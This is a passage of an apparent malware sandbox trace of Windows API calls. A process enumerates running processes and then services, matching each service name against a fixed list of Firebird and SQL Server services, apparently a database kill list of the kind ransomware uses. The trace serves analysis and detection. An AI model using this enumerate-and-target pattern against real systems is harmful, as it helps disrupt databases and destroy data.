lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0131.187] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0131.187] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0131.187] lstrlenW (lpString="concerned venture.exe") returned 21 [0131.188] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0131.188] lstrlenW (lpString="organizingscsi.exe") returned 18 [0131.188] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0131.189] lstrlenW (lpString="airplane placing.exe") returned 20 [0131.189] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0131.190] lstrlenW (lpString="circus.exe") returned 10 [0131.190] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0131.191] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0131.191] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0131.192] lstrlenW (lpString="das.exe") returned 7 [0131.192] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0131.193] lstrlenW (lpString="beam removable.exe") returned 18 [0131.193] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0131.194] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0131.194] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0131.195] lstrlenW (lpString="dome.exe") returned 8 [0131.195] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0131.196] lstrlenW (lpString="wiresjacket.exe") returned 15 [0131.196] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0131.197] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0131.197] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0131.198] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0131.198] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0131.199] lstrlenW (lpString="tested.exe") returned 10 [0131.199] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0131.200] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0131.200] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0131.201] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0131.201] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0131.202] lstrlenW (lpString="level.exe") returned 9 [0131.202] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0131.203] lstrlenW (lpString="dllhost.exe") returned 11 [0131.203] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0131.204] lstrlenW (lpString="conhost.exe") returned 11 [0131.204] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0131.205] lstrlenW (lpString="conhost.exe") returned 11 [0131.205] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.206] lstrlenW (lpString="svchost.exe") returned 11 [0131.206] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0131.207] lstrlenW (lpString="load0.exe") returned 9 [0131.207] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0131.209] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0131.209] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0131.210] lstrlenW (lpString="conhost.exe") returned 11 [0131.210] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0131.211] lstrlenW (lpString="cmd.exe") returned 7 [0131.211] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0131.212] lstrlenW (lpString="conhost.exe") returned 11 [0131.212] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.213] lstrlenW (lpString="svchost.exe") returned 11 [0131.213] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0131.213] CloseHandle (hObject=0x1078) returned 1 [0131.213] Sleep (dwMilliseconds=0x1f4) [0131.828] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e35f0 [0131.829] EnumServicesStatusExW (in: hSCManager=0x5e35f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0131.829] GetLastError () returned 0xea [0131.829] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x69bb60 [0131.829] EnumServicesStatusExW (in: hSCManager=0x5e35f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69bb60, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69bb60, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0131.830] CloseServiceHandle (hSCObject=0x5e35f0) returned 1 [0131.830] lstrlenW (lpString="Appinfo") returned 7 [0131.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0131.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0131.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0131.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0131.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0131.830] lstrlenW (lpString="AppXSvc") returned 7 [0131.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0131.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0131.831] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0131.831] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0131.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0131.831] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0131.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0131.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0131.831] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0131.831] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0131.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0131.831] lstrlenW (lpString="Audiosrv") returned 8 [0131.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0131.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0131.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0131.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0131.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0131.831] lstrlenW (lpString="BFE") returned 3 [0131.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0131.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0131.831] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0131.831] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0131.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0131.831] lstrlenW (lpString="BITS") returned 4 [0131.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0131.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0131.831] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0131.831] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0131.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0131.831] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0131.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0131.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0131.832] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0131.832] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0131.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0131.832] lstrlenW (lpString="CDPSvc") returned 6 [0131.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0131.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0131.832] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0131.832] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0131.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0131.832] lstrlenW (lpString="ClickToRunSvc") returned 13 [0131.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0131.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0131.832] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0131.832] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0131.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0131.832] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0131.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0131.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0131.832] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0131.832] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0131.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0131.832] lstrlenW (lpString="CryptSvc") returned 8 [0131.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0131.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0131.832] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0131.832] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0131.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0131.832] lstrlenW (lpString="DcomLaunch") returned 10 [0131.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0131.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0131.833] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0131.833] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0131.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0131.833] lstrlenW (lpString="DeviceAssociationService") returned 24 [0131.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0131.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0131.833] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0131.833] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0131.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0131.833] lstrlenW (lpString="Dhcp") returned 4 [0131.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0131.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0131.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0131.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0131.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0131.833] lstrlenW (lpString="Dnscache") returned 8 [0131.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0131.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0131.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0131.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0131.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0131.833] lstrlenW (lpString="DoSvc") returned 5 [0131.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0131.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0131.833] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0131.833] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0131.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0131.834] lstrlenW (lpString="DPS") returned 3 [0131.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0131.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0131.834] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0131.834] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0131.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0131.834] lstrlenW (lpString="DusmSvc") returned 7 [0131.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0131.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0131.834] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0131.834] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0131.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0131.834] lstrlenW (lpString="EventLog") returned 8 [0131.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0131.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0131.834] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0131.834] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0131.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0131.834] lstrlenW (lpString="EventSystem") returned 11 [0131.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0131.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0131.834] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0131.834] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0131.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0131.834] lstrlenW (lpString="FontCache") returned 9 [0131.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0131.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0131.834] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0131.834] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0131.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0131.835] lstrlenW (lpString="gpsvc") returned 5 [0131.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0131.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0131.835] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0131.835] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0131.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0131.835] lstrlenW (lpString="iphlpsvc") returned 8 [0131.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0131.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0131.835] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0131.835] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0131.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0131.835] lstrlenW (lpString="KeyIso") returned 6 [0131.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0131.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0131.835] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0131.835] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0131.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0131.835] lstrlenW (lpString="LanmanServer") returned 12 [0131.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0131.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0131.835] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0131.835] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0131.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0131.835] lstrlenW (lpString="LanmanWorkstation") returned 17 [0131.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0131.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0131.835] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0131.835] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0131.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0131.836] lstrlenW (lpString="lfsvc") returned 5 [0131.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0131.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0131.836] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0131.836] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0131.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0131.836] lstrlenW (lpString="lmhosts") returned 7 [0131.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0131.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0131.836] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0131.836] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0131.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0131.836] lstrlenW (lpString="LSM") returned 3 [0131.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0131.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0131.836] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0131.836] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0131.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0131.836] lstrlenW (lpString="MapsBroker") returned 10 [0131.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0131.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0131.836] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0131.836] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0131.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0131.836] lstrlenW (lpString="MpsSvc") returned 6 [0131.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0131.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0131.836] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0131.837] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0131.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0131.837] lstrlenW (lpString="NcbService") returned 10 [0131.837] lstrcmpiW 